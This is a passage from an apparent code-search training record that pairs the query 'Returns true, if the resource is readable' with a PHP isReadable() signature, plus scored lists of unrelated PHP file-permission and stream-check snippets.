throw MLException::factory(\n 'update',\n 'Wrong Paramater for {#method#}.',\n 1407833718\n )->setData(array('method' => __METHOD__));\n }\n return MLHelper::getFilesystemInstance()->isWritable($aFile['dst']);\n }", "public static function isWriteMethod($method);", "public static function isWritable($file)\n {\n if(!file_exists($file))\n {\n throw new FileNotFoundException($file);\n }\n \n if(!is_writable($file))\n {\n throw new PermissionDeniedException($file);\n }\n \n return true;\n }", "public function canWrite($userId = \"\")\n {\n return false;\n }", "private function __isWritableDir()\n\t{\n\t\tif(!$this->__getDir()->exists())\n\t\t{\n\t\t\t$this->error = 'Directory \\'' . $this->__getDir()->getPath() . '\\' does not exist';\n\t\t\treturn false;\n\t\t}\n\n\t\tif(!$this->__getDir()->writable())\n\t\t{\n\t\t\t$this->error = 'Directory \\'' . $this->__getDir()->getPath() . '\\' is not writable';\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "public function IsWriter() {\n\t\t$user = self::GetUserProfile();\n\t\t$ifWriter = false;\n\t\t\n\t\t\n\t\tif($this->IsAuthenticated()) {\n\t\t\tforeach($user['groups'] as $val) {\n\t\t\t\tif($val['akronym'] == 'writer' || $val['akronym'] == 'admin')\n\t\t\t\t\t$ifWriter=true;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $ifWriter;\n\t}", "function phpbb_is_writable($file)\n{\n\tif (strtolower(substr(PHP_OS, 0, 3)) === 'win' || !function_exists('is_writable'))\n\t{\n\t\tif (file_exists($file))\n\t\t{\n\t\t\t// Canonicalise path to absolute path\n\t\t\t$file = phpbb_realpath($file);\n\n\t\t\tif (is_dir($file))\n\t\t\t{\n\t\t\t\t// Test directory by creating a file inside the directory\n\t\t\t\t$result = @tempnam($file, 'i_w');\n\n\t\t\t\tif (is_string($result) && file_exists($result))\n\t\t\t\t{\n\t\t\t\t\tunlink($result);\n\n\t\t\t\t\t// Ensure the file is actually in the directory (returned realpathed)\n\t\t\t\t\treturn (strpos($result, $file) === 0) ? true : false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$handle = @fopen($file, 'r+');\n\n\t\t\t\tif (is_resource($handle))\n\t\t\t\t{\n\t\t\t\t\tfclose($handle);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// file does not exist test if we can write to the directory\n\t\t\t$dir = dirname($file);\n\n\t\t\tif (file_exists($dir) && is_dir($dir) && phpbb_is_writable($dir))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\telse\n\t{\n\t\treturn is_writable($file);\n\t}\n}", "function checkWriteAccess() {\r\n\t\tif (!$this->hasWriteAccess()) throw new UserError(_(\"Vous n'avez pas les droits d'écriture sur cette annonce\"));\r\n\t}", "function write()\r\n {\r\n $right = right::get(\"rights\");\r\n if ($right & 2) return(TRUE);\r\n else return(FALSE);\r\n }", "public function isWritable($sPath) {\n $sPath = $this->getFullPath($sPath);\n if (in_array($sPath, $this->aNotWritable)) {//tests\n return false;\n }\n if (!file_exists($sPath)) {\n return $this->isWritable(dirname($sPath));\n }\n return is_writable($sPath);\n }", "public function isSeekable()\n {\n return $this->metadata && $this->metadata['seekable'];\n }", "public function enforceOnWrite() { return true; }", "public function isWriteOperation($view, $context)\n {\n // Let's make it a little easier on ourselves and fix up the actions nice and quickly\n $action = self::fixUpActionName($view);\n if ( $action == 'field' ) {\n $action = self::fixUpActionName($context['action']);\n }\n\n if ( $action == 'edit' || $action == 'delete' || $action == 'import' || $action == 'massupdate' ) {\n return true;\n } else {\n return false;\n }\n }", "public function canSetFileable()\n {\n return $this->canSetFileable;\n }", "public function isSeekable() {\n\t\treturn (bool)$this->getMeta('seekable');\n\t}", "public function isWritable($flags=0)\n\t{\n\t\treturn (($this instanceof Fs_Symlink && $flags && Fs::NO_DEREFERENCE) ?\n\t\t (bool)(($this->getAttribute('mode', Fs::NO_DEREFERENCE) >> $this->modeBitShift()) & 4) :\n\t\t is_writable($this->_path)) ||\n\t\t ($flags & Fs::RECURSIVE && !$this->exists() && $this->up()->isWritable($flags & ~Fs::NO_DEREFERENCE));\t\t\n\t}", "function isReadable() { return $this->flagAccessRead; }", "public function canSave()\n {\n return $this->save;\n }", "public function isReadable(): bool;", "public function isStorable()\n {\n return ((int)$this->storable === 1);\n }", "public function getWriteProtected() {\n\t\t$writeProtected = FALSE;\n\t\tif ($this->getUsersWithWriteAccess()->count() > 0) {\n\t\t\t$writeProtected = TRUE;\n\t\t}\n\t\tif ($this->getGroupsWithWriteAccess()->count() > 0) {\n\t\t\t$writeProtected = TRUE;\n\t\t}\n\n\t\treturn $writeProtected;\n\t}", "public function isWriteCompleted(): bool {\n return $this->_builder->isWriteCompleted();\n }", "private static function is_really_writable($file)\n {\n // Create cache directory if not exists\n if (!file_exists($file))\n {\n mkdir($file, 0755);\n }\n // If we're on a Unix server with safe_mode off we call is_writable\n if (DIRECTORY_SEPARATOR === '/' && (version_compare(PHP_VERSION, '5.4', '>=') OR ! ini_get('safe_mode')))\n {\n return is_writable($file);\n }\n /* For Windows servers and safe_mode \"on\" installations we'll actually\n * write a file then read it. Bah...\n */\n if (is_dir($file))\n {\n $file = rtrim($file, '/').'/'.md5(mt_rand());\n if (($fp = @fopen($file, 'ab')) === FALSE)\n {\n return FALSE;\n }\n fclose($fp);\n @chmod($file, 0777);\n @unlink($file);\n return TRUE;\n }\n elseif ( ! is_file($file) OR ($fp = @fopen($file, 'ab')) === FALSE)\n {\n return FALSE;\n }\n fclose($fp);\n return TRUE;\n }", "public function hasPendingWrite()\n {\n return strlen($this->pendingWriteBuffer) || count($this->pendingWrites);\n }", "public function writeToFile(): bool;", "public static function canWritePackages()\n {\n return !((bool)ini_get('phar.readonly'));\n }", "protected function modelIsWritable() {\n\t\t// Check if model has method dbUpdate\n\t\t$model = $this->model;\n\t\treturn method_exists($model, \"dbUpdate\");\n\t}", "function isSaveAllowed() {\n\t\t\treturn $this->isAllowedAction( 'save' );\n\t\t}", "public function isStreamable()\n {\n return ((int)$this->streamable === 1);\n }", "function is_really_writable($file) {\n // If we're on a Unix server with safe_mode off we call is_writable\n if (DIRECTORY_SEPARATOR == '/' AND @ini_get(\"safe_mode\") == FALSE) {\n return is_writable($file);\n }\n\n // For windows servers and safe_mode \"on\" installations we'll actually\n // write a file then read it. Bah...\n if (is_dir($file)) {\n $file = rtrim($file, '/') . '/' . md5(mt_rand(1, 100) . mt_rand(1, 100));\n\n if (($fp = @fopen($file, FOPEN_WRITE_CREATE)) === FALSE) {\n return FALSE;\n }\n\n fclose($fp);\n @chmod($file, DIR_WRITE_MODE);\n @unlink($file);\n return TRUE;\n }\n elseif (!is_file($file) OR ($fp = @fopen($file, FOPEN_WRITE_CREATE)) === FALSE) {\n return FALSE;\n }\n\n fclose($fp);\n return TRUE;\n}", "public function isSeekable()\n {\n return $this->getMetadata('seekable');\n }" ]
[ "0.83988214", "0.8325425", "0.8309525", "0.8088625", "0.80223536", "0.79493964", "0.778798", "0.77789485", "0.77573067", "0.77355945", "0.7660764", "0.76339674", "0.7622971", "0.75957584", "0.75635874", "0.7446048", "0.7436451", "0.7380704", "0.73569995", "0.7256243", "0.72551185", "0.72192734", "0.72192734", "0.7217952", "0.7217952", "0.72084194", "0.72045517", "0.7194328", "0.7182713", "0.7178829", "0.71445817", "0.7135224", "0.71293455", "0.71220815", "0.70597506", "0.70591503", "0.7057367", "0.7057367", "0.7057367", "0.70206654", "0.70203054", "0.6979201", "0.69761556", "0.693986", "0.6937592", "0.69358397", "0.68933445", "0.68882114", "0.6864143", "0.68600535", "0.6853157", "0.68121374", "0.68108207", "0.67950463", "0.67560655", "0.6751492", "0.6751492", "0.67161286", "0.6690375", "0.6680993", "0.66503865", "0.65842164", "0.6561529", "0.6548993", "0.65442675", "0.6542753", "0.6470472", "0.6453399", "0.6440244", "0.64324385", "0.6383096", "0.6360314", "0.63131297", "0.62939316", "0.628829", "0.6279375", "0.6274535", "0.6272487", "0.62538826", "0.62248135", "0.62137234", "0.6208634", "0.61929524", "0.618817", "0.617908", "0.61752266", "0.6170951", "0.616942", "0.61673737", "0.6143389", "0.61400783", "0.6139805", "0.61195004", "0.61186874", "0.6098727", "0.6093944", "0.608507", "0.60572875", "0.6054242", "0.6050536" ]
0.8591705
0
Returns true, if the resource is readable.
public function isReadable(): bool;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isReadable(): bool\n {\n return is_readable($this->directory->getPath().'/'.$this->filename);\n }", "public function readable()\n {\n return is_readable($this->path);\n }", "public function isReadable() {\n\t\treturn $this->readable;\n\t}", "public function isReadable()\n {\n return $this->readable;\n }", "public function isReadable() {}", "public function isReadable();", "public function isReadable()\n\t{\n\t\tif (is_readable($this->directory)) return true; return;\n\t}", "function readable() {\n\t\treturn is_file($this->path) && is_readable($this->path);\n\t}", "public function isReadable()\n {\n return true;\n }", "public function isReadable()\n {\n return true;\n }", "function is_readable(ResourceInterface $resource): bool\n {\n $modes = [\n 'r' => true,\n 'w+' => true,\n 'r+' => true,\n 'x+' => true,\n 'c+' => true,\n 'rb' => true,\n 'w+b' => true,\n 'r+b' => true,\n 'x+b' => true,\n 'c+b' => true,\n 'rt' => true,\n 'w+t' => true,\n 'r+t' => true,\n 'x+t' => true,\n 'c+t' => true,\n 'a+' => true,\n 'a+b' => true,\n ];\n\n if ($resource->eof()) {\n return false;\n }\n\n $metadata = stream_get_meta_data($resource->getResource());\n\n return isset($modes[$metadata['mode']]);\n }", "public function isReadable()\n {\n }", "public function isReadable()\n {\n $this->is_readable = null;\n\n if ($this->exists === true) {\n } else {\n return;\n }\n\n if ($this->is_file === true) {\n } else {\n return;\n }\n\n $r = substr($this->temp_files[$this->path]->permissions, 1, 1);\n\n if ($r == 'r') {\n $this->is_readable = true;\n } else {\n $this->is_readable = false;\n }\n\n return;\n }", "public function isReadResource();", "function isReadable() { return $this->flagAccessRead; }", "public function isReadable()\n {\n if (!in_array($this->mode, ['r', 'r+', 'w+', 'a+', 'x+', 'c+'])) {\n return true;\n }\n return false;\n }", "public function isReadableFile(): bool {\n return is_readable($this) && is_file($this);\n }", "public function isReadable()\n {\n if (!$this->metadata) {\n return false;\n }\n\n $mode = $this->metadata['mode'];\n\n return (\n strstr($mode, 'r')\n || strstr($mode, '+')\n );\n }", "public function isReadable() {\n\t\treturn $this->pathway->getTitleObject()->userCan( 'read' );\n\t}", "public function read(): bool\n {\n return $this->isAllowed(self::READ);\n }", "public function isReadable(string $path): bool;", "public function is_readable( $file ) {\n\t\treturn true;\n\t}", "public function can_read () {\r\n\r\n return $this->permissions[\"R\"] ? true : false;\r\n\r\n }", "private function isReadable ($file)\n {\n return is_readable($file);\n }", "public function isRead()\n {\n return $this->object->isRead();\n }", "function checkResource() {\n if (is_resource($this->_handler) && (get_resource_type($this->_handler) == 'stream')) {\n \treturn true;\n }\n return false;\n }", "function readable($file)\n{\n\treturn (file_exists($file) && is_readable($file));\n}", "public static function isReadable($path)\n\t{\n\t\treturn is_readable($path);\n\t}", "public function isReadable(string $path): bool\n {\n return is_readable($path);\n }", "public function is_readable($file)\n {\n }", "public function is_readable($file)\n {\n }", "public function is_readable($file)\n {\n }", "public function is_readable($file)\n {\n }", "public function is_readable($file)\n {\n }", "public function is_readable($filename)\n {\n return @is_readable($filename);\n }", "public function isRead() {\n\t\treturn $this -> data['is_read'] == 1;\n\t}", "public function isReadable($path)\n {\n return $this->asyncFs->getAdapter()->is_readable($path);\n }", "public function readable ()\n {\n $this->_init_handler ();\n return isset ($this->_handler);\n }", "public function checkIsReadable($path);", "public static function isReadable(string $path) : bool\n {\n return (new File($path))->isReadable();\n }", "public static function isReadable($filename)\n {\n if (!$fh = @fopen($filename, 'r', true)) {\n return false;\n }\n @fclose($fh);\n return true;\n }", "public function isRead()\n {\n return $this->isRead;\n }", "public static function isReadable($path) {\n clearstatcache();\n return is_readable($path);\n }", "public function allowsRead()\n {\n if ($this->plus) {\n return true;\n }\n\n return $this->base == 'r';\n }", "public function exists()\n\t{\n\t\tif(empty($this->_parent->{$this->_name.'_file_name'}))\n\t\t\treturn false;\n\n\t\treturn $this->_file_info(true)->isReadable();\n\t}", "public function read(): bool\n {\n }", "public function read(): bool\n {\n }", "public function isOpen()\n {\n return (null !== $this->fileDescriptor && is_resource($this->fileDescriptor));\n }", "function is_writeable(ResourceInterface $resource): bool\n {\n $modes = [\n 'w' => true,\n 'w+' => true,\n 'rw' => true,\n 'r+' => true,\n 'x+' => true,\n 'c+' => true,\n 'wb' => true,\n 'w+b' => true,\n 'r+b' => true,\n 'x+b' => true,\n 'c+b' => true,\n 'w+t' => true,\n 'r+t' => true,\n 'x+t' => true,\n 'c+t' => true,\n 'a' => true,\n 'a+' => true,\n 'a+b' => true,\n ];\n\n if ($resource->eof()) {\n return false;\n }\n\n $metadata = stream_get_meta_data($resource->getResource());\n\n return isset($modes[$metadata['mode']]);\n }", "protected function isRepositoryReadable()\n {\n return $this->getRepository() instanceof ReadableInterface;\n }", "public function isResource() {\n\t\treturn $this->resource;\n\t}", "public function isPublicResource(): bool {\n // Long enough\n return count($this->elements) >= 2\n // Inside public directory\n && $this->startsWith(new self(App::getConfig('app.publicDir')))\n // Is readable file\n && $this->prepend(App::getRootDir())->isReadableFile();\n }", "public function isRead()\n {\n return (bool) $this->readAt;\n }", "public static function isReadable($file)\n {\n if(!file_exists($file))\n {\n throw new FileNotFoundException($file);\n }\n \n if(!is_readable($file))\n {\n throw new PermissionDeniedException($file);\n }\n \n return true;\n }", "public function isOpen ()\r\n\t\t{\r\n\t\t\t\treturn is_resource ($this -> resourcePointer);\r\n\t\t}", "public function isSeekable()\n {\n // if resource is seekable\n if ($this->traitIsSeekable())\n {\n // seeking write streams is only possible if\n // the internal buffer is flushed and empty\n return ($this->writable && $this->data === '');\n }\n return false;\n }", "public function exists() {\n\n\t\tif ($this->fileInfo->isFile() && $this->fileInfo->isReadable()) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function getIsRead()\n {\n return $this->isRead;\n }", "protected function read()\n {\n return true;\n }", "public function isResource(): bool\n {\n return $this->phpType === self::RESOURCE;\n }", "protected function isStreamReadable($stream)\n {\n if (empty($stream)) {\n return false;\n }\n if ($stream instanceof StreamInterface) {\n return $stream->isReadable();\n }\n\n // Ensure resource is stream type\n if (!is_resource($stream)) {\n return false;\n }\n if (get_resource_type($stream) !== 'stream') {\n return false;\n }\n\n // Ensure stream is readable\n $meta = stream_get_meta_data($stream);\n return isset($meta['mode']) && (strstr($meta['mode'] ?? '', 'r') || strstr($meta['mode'] ?? '', '+'));\n }", "public function read()\n {\n return $this->read_at !== null;\n }", "function writable() {\n\t\treturn is_file($this->path) && is_writable($this->path);\n\t}", "public function hasAclResource()\n {\n return array_key_exists(EntityDefinitionConfig::ACL_RESOURCE, $this->items);\n }", "public function writable()\n {\n return is_writable($this->path);\n }", "public static function canRead(string $path) : bool\n {\n return (new File($path))->canRead();\n }", "public function hasRead()\n {\n return ($this->status == NOTIFICATION_VIEWED);\n }", "public function hasReadReference(): bool\n {\n return $this->getPhanFlagsHasState(Flags::WAS_PROPERTY_READ);\n }", "public function isSeekable()\n {\n return $this->metadata && $this->metadata['seekable'];\n }", "public function isStreamable()\n {\n return ((int)$this->streamable === 1);\n }", "static public function isReadable($filename)\n {\n if (is_readable($filename)) {\n return true;\n }\n\n $path = get_include_path();\n $dirs = explode(PATH_SEPARATOR, $path);\n\n foreach ($dirs as $dir) {\n // No need to check against current dir -- already checked\n if ('.' == $dir) {\n continue;\n }\n\n if (is_readable($dir . DIRECTORY_SEPARATOR . $filename)) {\n return true;\n }\n }\n\n return false;\n }", "public function getWasRead()\n {\n if (!is_null($this->time_read)){\n return true;\n }\n return false;\n }", "public function canWrite(){\n\t\treturn is_writable($this->file);\n\t}", "public function isAvailable() {\n $path = $this->path();\n return file_exists($path);\n }", "public static function is_resource_local( $resource ) {\r\n return stream_is_local( $resource ); \r\n }", "function is_valid() {\n return is_resource($this->connection);\n }", "private function _isResource() {\n $Info = explode('.', $_SERVER[\"REQUEST_URI\"]);\n $rVal = false;\n\n if ( count($Info) > 1 ) { $rVal = true; }\n\n // Return the Boolean Response\n return $rVal;\n }", "function isReadable($filename)\n\t{\n\t\tif (@is_readable($filename)) {\n\t\t\treturn true;\n\t\t}\n\n\t\t$path = get_include_path();\n\t\t$dirs = explode(PATH_SEPARATOR, $path);\n\n\t\tforeach ($dirs as $dir) {\n\t\t\t// No need to check against current dir -- already checked\n\t\t\tif ('.' == $dir) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (@is_readable($dir . DIRECTORY_SEPARATOR . $filename)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "public function isSupported() {\n return $this->cacheFilePath \n && is_dir($this->cacheFilePath) \n && is_writable($this->cacheFilePath);\n }", "public function isWriteable()\n {\n $this->is_writable = null;\n\n if ($this->exists === true) {\n } else {\n return;\n }\n\n if ($this->is_file === true) {\n } else {\n return;\n }\n\n $w = substr($this->temp_files[$this->path]->permissions, 2, 1);\n\n if ($w == 'w') {\n $this->is_writable = true;\n } else {\n $this->is_writable = false;\n }\n\n return;\n }", "public function isWritable(): bool\n {\n return is_writable($this->directory->getPath().'/'.$this->filename);\n }", "public function isReadProtected() {\n\t\treturn $this->getReadProtected();\n\t}", "public function isReadable($sPath) {\n $sPath = $this->getFullPath($sPath);\n if (in_array($sPath, $this->aNotReadable)) {//tests\n return false;\n }\n if (!file_exists($sPath)) {\n throw MLException::factory(\n 'update', \n 'File `{#path#}` not exists.', \n 1423821549\n )->setData(array('path' => $sPath));\n }\n return is_readable($sPath);\n }", "public function isConnected()\n {\n return $this->getResource()->isConnected();\n }", "protected function isPubliclyAvailable(ResourceInterface $resource) {\n\t\t$resourceUri = $this->getResourceUri($resource);\n\t\t$securedFoldersExpression = $this->configurationManager->getValue('securedDirs');\n\t\tif (substr($this->configurationManager->getValue('filetype'),0,1) === '\\\\') {\n\t\t\t$fileExtensionExpression = $this->configurationManager->getValue('filetype');\n\t\t} else {\n\t\t\t$fileExtensionExpression = '\\\\.(' . $this->configurationManager->getValue('filetype') . ')';\n\t\t}\n\n\t\t// TODO: maybe check if the resource is available without authentication by doing a head request\n\t\treturn !(preg_match('/(('. HtmlParser::softQuoteExpression($securedFoldersExpression) . ')+?\\/.*?(?:(?i)' . ($fileExtensionExpression) . '))/i', $resourceUri, $matchedUrls)\n\t\t\t&& is_array($matchedUrls)\n\t\t\t&& $matchedUrls[0] === $resourceUri);\n\t}", "public function is_resource($var)\n {\n return @is_resource($var);\n }", "public function isRead(){\n $read = VolumeRead::where('user_id', Auth()->user()->id)->where('volume_id', $this->id)->first();\n if($read){\n return true;\n }\n return false;\n }", "public function isSeekable() {}", "public function isSeekable()\n {\n }", "public function isSeekable()\n {\n return true;\n }", "public function isWritable()\n {\n return $this->adapter->isWritable($this->path);\n }", "public function isSeekable()\n {\n return $this->seekable;\n }", "public static function isEnabled($resource)\n\t{\n\t\treturn static::$_enabled and static::$_resources[$resource] === true;\n\t}", "public function isSeekable();", "public function isWriteable(string $path): bool;", "protected function isConnected(): bool\n {\n return is_resource($this->socket);\n }", "public function isSeekable() {\n\t\treturn (bool)$this->getMeta('seekable');\n\t}", "public function isValid($resource = null)\r\n {\r\n if ($resource === null) {\r\n $resource = $this->_resource;\r\n } \r\n return is_resource($resource);\r\n }", "public function is_accessible() {\n $available = $this->properties->available;\n $deadline = $this->properties->deadline;\n return (($available == 0 || time() >= $available) && ($deadline == 0 || time() < $deadline));\n }", "public function isAccessible()\n {\n return $this->isPublished();\n }" ]
[ "0.8283946", "0.8277334", "0.8185879", "0.81660056", "0.81500506", "0.813405", "0.81193227", "0.81164634", "0.80994266", "0.80994266", "0.80811906", "0.7977498", "0.7899324", "0.7824507", "0.7819673", "0.7794604", "0.7767385", "0.7669294", "0.7606083", "0.75621355", "0.75202715", "0.74314475", "0.74209887", "0.7412117", "0.73039657", "0.7302524", "0.728666", "0.7264514", "0.72622055", "0.72233474", "0.72233474", "0.72233474", "0.72227585", "0.72210217", "0.71898305", "0.7169746", "0.7107941", "0.7032176", "0.7030116", "0.70238054", "0.7002015", "0.6989498", "0.69659734", "0.69540375", "0.6912295", "0.6803618", "0.6803618", "0.68025464", "0.67639065", "0.67627096", "0.67078626", "0.6670882", "0.6669243", "0.6642402", "0.66387856", "0.65810996", "0.6570217", "0.6552665", "0.65301806", "0.65148383", "0.6498006", "0.64876354", "0.637774", "0.63553053", "0.63509333", "0.63335013", "0.63147265", "0.6304909", "0.62580806", "0.62396085", "0.62386936", "0.6227596", "0.6224567", "0.6219593", "0.6217219", "0.6209807", "0.6191114", "0.61774147", "0.61595505", "0.61313754", "0.60665184", "0.6028346", "0.6020303", "0.6013133", "0.60038376", "0.59965694", "0.5988341", "0.5943986", "0.5932833", "0.5930969", "0.5928657", "0.5920746", "0.59183913", "0.5913973", "0.59041846", "0.5902593", "0.58953565", "0.58921564", "0.5885584", "0.588509" ]
0.8037985
11
Returns true, if the resource is executable.
public function isExecutable(): bool;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isExecutable()\n {\n return $this->getBinary()->isExecutable();\n }", "public function isExecutable()\n {\n $this->is_executable = null;\n\n if ($this->exists === true) {\n } else {\n return;\n }\n\n if ($this->is_file === true) {\n } else {\n return;\n }\n\n $x = substr($this->temp_files[$this->path]->permissions, 3, 1);\n\n if ($x == 'x') {\n $this->is_executable = true;\n } else {\n $this->is_executable = false;\n }\n\n return;\n }", "public function isExecutable()\n {\n return $this->adapter->isExecutable($this->path);\n }", "public function isExecutable($executable): bool;", "public function executable()\n {\n return is_executable($this->path);\n }", "private function isExecutable ($file)\n {\n return is_executable($file);\n }", "function is_executable($filename)\n{\n}", "public function isExecutable() {\n return $this->state->canChange('executed');\n }", "protected function isBinary(): bool\n {\n $command = sprintf(\n 'file --brief --mime-encoding %1$s | grep binary',\n escapeshellarg($this->getPathname())\n );\n\n $process = Process::fromShellCommandline($command);\n $process->run();\n\n return $process->isSuccessful();\n }", "public function isExpectsToExecutable() {\n return $this->state->canChange('expectsToExecute');\n }", "public function isResource(): bool\n {\n return $this->phpType === self::RESOURCE;\n }", "private function isExecutableScript(File $file): bool\n {\n $mimeType = $file->getMimeType();\n\n // Check if given file is a phar executable script.\n if (\n 'application/octet-stream' === $mimeType\n && 1 === preg_match('/^#![ \\t]*\\/usr\\/bin\\/env[ \\t]?/', $file->getContent())\n ) {\n try {\n new Phar($file->getPathname());\n } catch (Exception $e) {\n return false;\n }\n\n return true;\n }\n\n // Allow only text files.\n if (1 !== preg_match('/^text\\//', $mimeType)) {\n return false;\n }\n\n $shebangs = [\n '/^#![ \\t]*\\/bin\\/sh[ \\t]?/',\n '/^#![ \\t]*\\/bin\\/bash[ \\t]?/',\n '/^#![ \\t]*\\/usr\\/bin\\/env[ \\t]?/',\n ];\n\n $content = trim($file->getContent());\n\n foreach ($shebangs as $regex) {\n if (1 === preg_match($regex, $content)) {\n return true;\n }\n }\n\n return false;\n }", "function hax_check_for_executable_code( $text='' )\n\t{\n\t\t//-----------------------------------------\n\t\t// Test\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( preg_match( \"#include|require|include_once|require_once|exec|system|passthru|`#si\", $text ) )\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\t\n\t\treturn FALSE;\n\t}", "function _can_execute($name, $path = false) \r\n {\r\n \t\t\t$this->tx_cbywebdav_devlog(1,\"_can_execute: $path \",\"cby_webdav\",\"_can_execute\");\r\n \t\t$t3io=$this->CFG->t3io;\r\n\r\n // path defaults to PATH from environment if not set\r\n if ($path === false) {\r\n $path = getenv(\"PATH\");\r\n }\r\n \r\n // check method depends on operating system\r\n if (!strncmp(PHP_OS, \"WIN\", 3)) {\r\n // on Windows an appropriate COM or EXE file needs to exist\r\n $exts = array(\".exe\", \".com\");\r\n $check_fn = \"file_exists\";\r\n } else {\r\n // anywhere else we look for an executable file of that name\r\n $exts = array(\"\");\r\n $check_fn = \"is_executable\";\r\n }\r\n \r\n // now check the directories in the path for the program\r\n foreach (explode(PATH_SEPARATOR, $path) as $dir) {\r\n // skip invalid path entries\r\n if (!$t3io->T3FileExists($dir)) continue;\r\n if (!$t3io->T3IsDir($dir)) continue;\r\n\r\n // and now look for the file\r\n foreach ($exts as $ext) {\r\n if ($check_fn(\"$dir/$name\".$ext)) return true;\r\n }\r\n }\r\n\r\n return false;\r\n }", "private function _isResource() {\n $Info = explode('.', $_SERVER[\"REQUEST_URI\"]);\n $rVal = false;\n\n if ( count($Info) > 1 ) { $rVal = true; }\n\n // Return the Boolean Response\n return $rVal;\n }", "private function _canExecute()\n\t{\n\t\t$return = FALSE;\n\n\t\t//check for userdefined wkhtmltopdf executable\n\t\tif(!empty($this->_executablePath))\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\n\t\t//create a string of the server architecture\n\t\t$serverVersion = php_uname();\n\n\t\tif (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')\n\t\t{\n\t\t\t//check for windows\n\t\t\t$tempdir = explode('/', $_SERVER['DOCUMENT_ROOT']);\n\t\t\t$this->_tmpPath = $tempdir[0] . $this->_tmpPath;\n\t\t\t$this->_executablePath = '\"' . SHAREPATH . 'libraries/wkhtmltopdf2/wkhtmltopdf.exe\"';\n\t\t\t$this->_debug(\"setting default executable. :: \" . $this->_executablePath);\n\t\t} else {\n\t\t\t//check for 32Bit :: i386 / i586 / i686\n\t\t\tif(substr($serverVersion, -2) == \"86\")\n\t\t\t{\n\t\t\t\t//set the 32 bit binary\n\t\t\t\t$this->_executablePath = SHAREPATH . 'libraries/wkhtmltopdf2/wkhtmltopdf';\n\t\t\t\t$this->_debug(\"setting default executable. :: \" . $this->_executablePath);\n\t\t\t}\n\n\t\t\t//check for 64\n\t\t\tif(substr($serverVersion, -2) == \"64\")\n\t\t\t{\n\t\t\t\t//check for OS X\n\t\t\t\tif(PHP_OS == \"Darwin\")\n\t\t\t\t{\n\t\t\t\t\t$this->_executablePath = SHAREPATH . 'libraries/wkhtmltopdf2/ls -al'\n\t\t\t\t\t\t\t. '-OS_X';\n\t\t\t\t\t$this->_debug(\"setting the -OS_X suffix to executable. :: \" . $this->_executablePath);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//set the default 64 bit\n\t\t\t\t\t$this->_executablePath = SHAREPATH . 'libraries/wkhtmltopdf2/wkhtmltopdf-amd64';\n\t\t\t\t\t$this->_debug(\"setting default executable. :: \" . $this->_executablePath);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//ensure the path is set\n\t\t$fileInfoTypes = array('name', 'server_path', 'size', 'date', 'readable', 'writable', 'executable', 'fileperms');\n\t\t$fileInfo = get_file_info($this->_executablePath, $fileInfoTypes);\n\n\t\t//ensure executablePath is set\n\t\tif(!empty($this->_executablePath))\n\t\t{\n\t\t\t//check for file, if it exists && that it is executable\n\t\t\tif($fileInfo['executable'])\n\t\t\t{\n\t\t\t\t$return = TRUE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//figure out if the file exists\n\t\t\t\tif(!$fileInfo)\n\t\t\t\t{\n\t\t\t\t\t$this->_error(\"wkhtmltopdf could not be found . \" . print_r($fileInfo, TRUE));\n\t\t\t\t}\n\n\t\t\t\t//if it exists but it not executable\n\t\t\t\tif(!$fileInfo['executable'])\n\t\t\t\t{\n\t\t\t\t\t$this->_error(\"wkhtmltopdf is not executable.\" . print_r($fileInfo, TRUE));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $return;\n\t}", "function checkResource() {\n if (is_resource($this->_handler) && (get_resource_type($this->_handler) == 'stream')) {\n \treturn true;\n }\n return false;\n }", "public function shouldRunFile(string $file): bool;", "public function isResource() {\n\t\treturn $this->resource;\n\t}", "public function isOpen()\n {\n return (null !== $this->fileDescriptor && is_resource($this->fileDescriptor));\n }", "private function __isFile()\n\t{\n\t\tif(!$this->exists())\n\t\t{\n\t\t\t$this->error = 'File \\'' . $this->_path . '\\' does not exist';\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "function is_resource(string $resource): bool\n {\n return is_resource_route($resource);\n }", "function is_readable(ResourceInterface $resource): bool\n {\n $modes = [\n 'r' => true,\n 'w+' => true,\n 'r+' => true,\n 'x+' => true,\n 'c+' => true,\n 'rb' => true,\n 'w+b' => true,\n 'r+b' => true,\n 'x+b' => true,\n 'c+b' => true,\n 'rt' => true,\n 'w+t' => true,\n 'r+t' => true,\n 'x+t' => true,\n 'c+t' => true,\n 'a+' => true,\n 'a+b' => true,\n ];\n\n if ($resource->eof()) {\n return false;\n }\n\n $metadata = stream_get_meta_data($resource->getResource());\n\n return isset($modes[$metadata['mode']]);\n }", "protected function shouldExecute()\n {\n return !$this->job->isDryRun() || $this->get('executeInPreview');\n }", "public function getIsFile() {\n\t\t$fullName = $this->getPath();\n\t\treturn is_file($fullName);\n\t}", "public function isLoadedFromFile() : bool\n {\n return $this->fileExists;\n }", "public function isPublicResource(): bool {\n // Long enough\n return count($this->elements) >= 2\n // Inside public directory\n && $this->startsWith(new self(App::getConfig('app.publicDir')))\n // Is readable file\n && $this->prepend(App::getRootDir())->isReadableFile();\n }", "public function isExpectsToExecute() {\n return $this->state->getCode() == TaskState::ExpectsToExecute;\n }", "public function isExists(){\n\t\treturn file_exists($this->getFullName());\n\t}", "public function exec (): bool {\n if 